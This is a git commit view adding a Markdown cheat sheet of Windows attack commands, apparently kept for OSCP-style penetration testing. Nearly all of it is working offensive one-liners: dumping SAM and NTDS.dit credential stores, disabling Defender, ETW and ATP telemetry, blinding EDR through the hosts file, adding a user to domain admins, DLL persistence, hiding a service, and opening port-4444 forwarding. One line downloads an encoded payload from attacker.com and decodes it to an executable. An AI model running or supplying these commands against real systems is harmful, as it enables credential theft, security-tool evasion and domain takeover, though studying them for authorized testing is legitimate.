julle/oscp
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

first commit

Browse Source
This commit is contained in:
julle
2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Necronomicon/Windows/CMD.md
+106
View File
@@ -0,0 +1,106 @@
- Find Domain Controller:
- `echo %LOGONSERVER%`
- `nslookup <domain.name>`
- Check for assigned DNS server from DHCP
- Packet capture - look for Kerberos/LDAP (ports 88, 389, 636)
- Harvest SAM:
- `reg.exe save hklm\sam c:\temp\sam.save`
- `reg.exe save hklm\security c:\temp\security.save`
- `reg.exe save hklm\system c:\temp\system.save`
- Download files (w/o PowerShell)
- `certutil.exe -urlcache -split -f "https://<url>/a.exe" a.exe`
- `bitsadmin /transfer cthulhujob /download /priority normal http://<url>/a.exe`
- Disable ETW
- `set COMPlus_ETWEnabled=0`
- Disable Windows Defender
- `sc config TrustedInstaller binPath= "cmd.exe /C sc stop windefend && sc delete windefend" && sc start TrustedInstaller`
- Block ATP communications
- `sc config TrustedInstaller binPath="cmd.exe /C sc stop diagtrack & sc config diagtrack binPath='lol'" && sc start TrustedInstaller`
- Encode and transfer/decode malicious file
- (On attacker machine) `certutil -encode beacon64.exe file.txt`
- (On target) `bitsadmin /Transfer myJob http://attacker.com/file.txt C:\windows\tasks\enc.txt && certutil -decode C:\windows\tasks\enc.txt C:\windows\tasks\cisa.exe && del C:\windows\tasks\enc.txt`
- Use Certutil to download exe
- `certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe`
- Add current user to domain admins
- `net group "domain admins" myusername /add /domain`
- Get user/domain SID:
- `whoami /user`
- Create service to run with credentials
- `sc.exe create MySvc2 binpath= c:\windows\system32\notepad.exe obj=CONTOSO.local\svcUser password=svc1234!`
- Create scheduled task to run with credentials
- `schtasks.exe /create /tn notepaddaily /tr notepad.exe /sc daily /ru CONTOSO\TaskUser /rp task1234!`
- NewCredentials logon
- `runas /netonly /user:CONTOSO\OtherUser cmd`
- Add/Delete firewall rule
- `netsh advfirewall firewall add rule name="Allow 4444" dir=in action=allow protocol=TCP localport=4444`
- `netsh advfirewall firewall delete rule name="Allow 4444" protocol=TCP localport=4444`
- LOL Extract NTDS.dit
- `vssadmin create shadow /for=C:`
- `copy <shadow copy volume name>\Windows\ntds\ntds.dit C:\Windows\Temp\ntds.dit`
- `reg SAVE HKLM\SYSTEM C:\Windows\Temp\SYS` OR `copy <shadow copy volume name>\Windows\System32\config\SYSTEM C:\Windows\Temp\SYS`
- `vssadmin delete shadows /shadow=<shadow ID>`
- Query AD SPNs
- `setspn -T <domain> -F -Q */*`
- Enumerate .NET version installed on a host
- `reg queryv x64 HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full Release`
- Cross-reference here: https://docs.microsoft.com/en-us/dotnet/framework/migration-guide/versions-and-dependencies
- Reverse port forward
- Windows Firewall
- Start rpfwd
- `netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.14.55 connectport=4444 protocol=tcp` - start rpfwd
- Terminate rpfwd
- `netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444` - terminate rpfwd
- Extract NTDS.dit
```MSDOS
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
```
- Manually set Kerberos realm (for use with Rubeus, etc. through Proxifier)
```
ksetup /setrealm VIPR.LAB
ksetup /addkdc VIPR.LAB dc01.vipr.lab
ksetup /setrealmflags VIPR.LAB tcpsupported
```
- Create Volume Shadow Copy and copy SAM file out
- `wmic shadowcopy call create Volume='C:\'`
- `vssadmin list shadows`
- Verify shadow file was created and check name
- `copy \\?\GLOBALROOT\Device\<SHADOW COPY NAME>\windows\system32\config\sam C:\users\User1\Downloads\sam`
- `copy \\?\GLOBALROOT\Device\<SHADOW COPY NAME>\windows\system32\config\sam C:\users\User1\Downloads\sam`
- Enumerate any domains trusted by our current domain
- `nltest /trusted_domains`
- Persistence through WptsExtensions.dll:
- `reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PATH`
- Query system path
- Place malicious "WptsExtensions.dll" anywhere in that path
- Executes on reboot
- Delete DLL to remove persistence
- DNS black hole on EDR endpoint
- Find API endpoint
- `ipconfig /displaydns`
- Black hole in hosts
- `echo 127.0.0.1 http://<API domain endpoint> >> c:\windows\system32\drivers\etc\hosts`
- Listing user bookmarks
- Chrome
- `type "C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"`
- Edge
- `type "C:\Users\%USERNAME%\AppData\Local\Microsoft\Edge\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"`
- Brave
- `type "C:\Users\%USERNAME%\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"`
- Hide a Windows service (effectively sets all ACLs to "Deny" so literally no user can read the service)
```PowerShell
sc sdset evilsvc "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
```
- TODO: remove the RP/WP for BA (local Admin) and SY (NT authority/SYSTEM) (too lazy to fix the SDDL string right now)
- Read the SDDL: ConvertFrom-SDDLString